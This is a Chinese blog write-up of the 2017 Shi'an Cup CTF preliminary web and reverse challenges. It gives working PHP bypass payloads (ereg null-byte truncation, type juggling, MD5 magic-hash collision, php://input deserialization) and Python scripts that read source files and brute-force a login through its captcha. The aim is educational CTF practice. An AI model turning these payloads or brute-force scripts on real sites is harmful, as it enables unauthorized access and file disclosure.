Pr0ph3t

char nick[7] = "Pr0ph3t";

printf("https://github.com/%s\n",nick);

printf("%s\x40pr0ph3t\x2e\\\bcom\n","admin");

puts("91B6 191A C2C3 285C 201D  801B B5A3 6B56 8528 E140");

[2017世安杯] 初赛Web Writeup

Oct 9, 2017 • CyberSecurity,writeup,old Page view:

Web:

##### ctf入门级题目 view_source有源码,如下

<?php
$flag = '*********';

if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
        echo '<p class="alert">You password must be alphanumeric</p>';
    else if (strpos ($_GET['password'], '--') !== FALSE)
        die($flag);
    else
        echo '<p class="alert">Invalid password</p>';
}
?>

<section class="login">
        <div class="title">
                <a href="./index.phps">View Source</a>
        </div>

        <form method="POST">
                <input type="text" required name="password" placeholder="Password" /><br/>
                <input type="submit"/>
        </form>
</section>
</body>
</html>

根据源码,ereg可被%00截断,直接上payload

  • payload : ?password=123%00--
  • poc : poc
  • flag : flag{Maybe_using_rexpexp_wasnt_a_clever_move}

##### 曲奇饼 题目已经提示了和cookie应该是有关的 进去之后发现是老题目,file是base64之后的文件名称,line是读取文件的行数 可以直接写个脚本读取index.php的源码, 脚本如下:

import requests
url = 'http://ctf1.shiyanbar.com/shian-quqi/index.php?line=%d&file=aW5kZXgucGhw'
se = requests.Session()
for x in xrange(1,40):
    print se.get(url % x).content

source 这里要求我们带有一个值为li_lr_480,名称为key的cookie,这样我们就能读取到thisis_flag.php的源码了 直接控制台document.cookie写cookie 然后将thisis_flag.php 进行base64编码后提交得到flag

  • poc : poc
  • flag : flag{UHGgd3rfH*(3HFhuiEIWF}

类型

进去之后有源码,如下:

<?php 
show_source(__FILE__); 
$a=0; 
$b=0; 
$c=0; 
$d=0; 
if (isset($_GET['x1'])) 
{ 
        $x1 = $_GET['x1']; 
        $x1=="1"?die("ha?"):NULL; 
        switch ($x1) 
        { 
        case 0: 
        case 1: 
                $a=1; 
                break; 
        } 
} 
$x2=(array)json_decode(@$_GET['x2']); 
if(is_array($x2)){ 
    is_numeric(@$x2["x21"])?die("ha?"):NULL; 
    if(@$x2["x21"]){ 
        ($x2["x21"]>2017)?$b=1:NULL; 
    } 
    if(is_array(@$x2["x22"])){ 
        if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?"); 
        $p = array_search("XIPU", $x2["x22"]); 
        $p===false?die("ha?"):NULL; 
        foreach($x2["x22"] as $key=>$val){ 
            $val==="XIPU"?die("ha?"):NULL; 
        } 
        $c=1; 
} 
} 
$x3 = $_GET['x3']; 
if ($x3 != '15562') { 
    if (strstr($x3, 'XIPU')) { 
        if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) { 
            $d=1; 
        } 
    } 
} 
if($a && $b && $c && $d){ 
    include "flag.php"; 
    echo $flag; 
} 
?>

还是老题目。。。首先a是1a的方式绕过判断,因为在switch中字符串和数字比较php会尝试将字符串intval后比较(或者是这里直接将x1赋值为0,这里的switch有使用错误的嫌疑)。b同样是利用字符串与数字比较的特点进行绕过 只需要赋值为2018aaa即可,c是利用array_search有如下特性: 特性

d的话首先发现 substr(md5('15562'),8,16)是0e开头,则我们需要把x3构造成0e开头的后面全都是数字的md5即可,这里直接上脚本碰撞,脚本如下:

#coding:utf8
import hashlib
import string
import random
import time

i = 0
while 1:
    i += 1
    print '[*] 第' + str(i) + '次碰撞'
    testStr = ''.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',4)).strip()
    testCode = hashlib.md5('XIPU'+testStr).hexdigest()[8:24]
    if testCode.startswith('0e') and testCode[2:].isdigit():
        print testStr
        print testCode[2:]
        print '[*] 耗时 ' + str(time.time() - st) + ' s'
        exit()

构造如下payload绕过:

  • payload : ?x1=1a&x2={"x21":"2018aa","x22":[[1],0],"0":3}&x3=XIPUvg6c
  • poc : poc

  • flag : CTF{Php_1s_bstl4_1a}

登录

进去之后发现是一个登录框, 源码有提示密码是5位数字,直接上脚本跑出密码:

#coding:utf8
import re
import requests

url = 'http://ctf1.shiyanbar.com/shian-s/'
se = requests.Session()

for x in xrange(1,10000):
    x = str(x).zfill(5)
    flag = 0
    while not flag:
        try:
            content = se.get(url).content
            code = re.findall('<input name="randcode" type="text"><br><br>(\d+)<br><br>', content ,re.S|re.M)[0]
            flag = 1
        except Exception as e:
            print e
    print code
    res = se.get(url+'?username=admin&password='+x+'&randcode='+code)
    print '[*] Trying '+str(x)
    if ('密码错误' not in res.content and 'button' not in res.content and '502' not in res.content)  or 'flag' in res.content:
        print x
        print '-------'
        print res.content
        exit()
    elif '验证码错误' in res.content:
        print '验证码错误!!!'
        exit()

密码为00325

  • poc : poc

  • flag : flag{U1tkOdgutaVWucdy2AbDWXPGkDx9bS2a}


web5

又是反序列化的老题目了。。。。 直接上payload吧。。

  • payload : ?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}
  • poc : poc

  • flag : flag_Xd{hSh_ctf:e@syt0g3t}

Reverse

Console

首先直接看hex观察到是一个dotnet的程序,直接用reflector反汇编,然后修改有输出的那一个函数,直接打印出flag,done

修改代码

  • poc :  poc

  • flag : flag{967DDDFBCD32C1F53527C221D9E40A0B}


写在最后:感觉。。。这次体验不太好。。早上的时候估计是服务器崩了。。直接跳过选择题。。。然后下午一直都交不了flag。。。直到晚上8点钟催了3次之后才弄好的。。。emmm 然后Web的好像都是老题。。。像是实验吧一日游。。。(逃 然后明天就马上决赛。。。。

Did you like the post? Subscribe to the feed.

Thx!